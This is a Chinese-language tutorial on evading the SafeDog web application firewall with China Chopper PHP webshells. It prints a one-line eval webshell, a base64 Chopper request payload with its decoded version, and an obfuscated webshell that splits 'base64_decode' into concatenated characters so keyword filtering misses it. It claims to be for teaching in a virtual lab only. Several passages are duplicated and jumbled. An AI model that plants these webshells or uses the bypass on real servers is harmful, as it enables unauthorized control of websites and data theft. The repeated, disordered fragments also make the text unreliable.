狗子不怕菜刀怎么办(菜刀过掉安全狗的姿势)
狗子不怕菜刀怎么办(菜刀过掉安全狗的姿势)看到这里我想神马变异一句话什么的都很容易写出了吧很明显 狗狗是把POST当做关键字,只要我们把POST拆分一下。。狗狗一下子就乖了很多安全狗设置都是默认的。。没有经过任何更改。。。但是。。。看出什么来了吗??
声明:本实验测试只用于虚拟环境教学,不能用于实际中。
简单的分析一下安全狗对菜刀的拦截和突破。。。
没有什么技术含量。。。。大牛勿喷。。。
测试坏境 IIS6.0 PHP 安全狗IIS版V3.1
安全狗设置都是默认的。。没有经过任何更改。。。
但是。。。
看出什么来了吗??
很明显 狗狗是把POST当做关键字,只要我们把POST拆分一下。。狗狗一下子就乖了很多
看到这里我想神马变异一句话什么的都很容易写出了吧
这里就留给大家一个实战的机会 各位童鞋自行编写一句话吧。。。。
OK,web端已经搞定了
接下来用菜刀连接看看。。
<?php @eval($_PO
ST['x']);?>
这个已经杀的不能再杀了。。。。
可以看到用菜刀连接时会提示403
那么问题会出在哪里呢?
聪明的童鞋肯定已经想到了,没错POST数据包。。。狗狗拦截了我们的数据包
那我们先来看看菜刀发的数据包吧。。。
怎么看呢。。。。。废话 肯定是burp咯
>
接下来用菜刀连接看看。。
<?php @eval($_PO
ST['x']);?>
这个已经杀的不能再杀了。。。。
好像图片有点看不清楚哈
我就贴出来吧
x=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
很明显,加密了 不过明眼人都看的出来很简单的加密 先URL在base64
好了解密后就是这个了
x=@assert
(base64_decode($_REQUEST[z0]));&z0=@ini_set("display_errors" "0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D 0 1)!="/"){foreach(range("A" "Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
好长啊。。。。。。。。。。在这些代码里狗狗又会拦截哪些关键字呢。。。
我第一个想到的就是和一句话一样的关键字
POST
x=@eval(base64_decode($_POST[z0]))
可以看到开头就有POST关键字
试着修改一下x=@eval(base64_decode($_REQUEST[z0]))
很不幸。。。V3.1已经和谐了 我记得V3.0这样还是可以过的。。
既然不是POST关键字
那么我们写一个php页面来逐一判断狗狗把关键字该成什么了
z0.php页面代码如下
<?php
$x="@eval(/*012345*/base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==";
eval(base64_decode($x));uPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
?>
狗狗还是拦截
();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
好长啊。。。。。。。。。。在这些代码里狗狗又会拦截哪些关键字呢。。。
我第一个想到的就是和一句话一样的关键字
POST
x=@eval(base64_decode($_POST[z0]))
可以看到开头就有POST关键字
试着修改一下x=@eval(base64_decode($_REQUEST[z0]))
这里我测试了很多次就不在这里一一测试了
我就直接告诉大家拦截的关键字是什么吧
base64_decode
没错,拦截的就是base64_decode函数
上面这两张图足以证明狗狗是拦截base64_decode了
那么要怎么绕过呢。。。。
本屌的思路是这样的。。。。
1. 在菜刀发送数据包的时候进行中转,对base64_decode进行如下
$a="b"."a"."s"."e"."6"."4"."_"."d"."e"."c"."o"."d"."e";
eval($a($z0));
变异
2.修改一句话
<?php
$z0 = $_POST['z0']; //接受z0参数并执行,所以密码什么的都无所谓了。。。
$a = "b"."a"."s"."e"."6"."4"."_"."d"."e"."c"."o"."d"."e";
eval($a($z0));
?>
我们把POST过去的X灭掉
灭掉后是可以正常连接的
But 菜刀在发送第一个数据包获取到绝对路径后需要在发送一个数据包获取当前目录的文件信息
我想看到这里已经有人有思路可以写出中转脚本在绕过安全狗V3.1了
本屌就不在这里丢人现眼了。菜刀在发送第一个数据包获取到绝对路径后需要在发送一个数据包获取当前目录的文件信息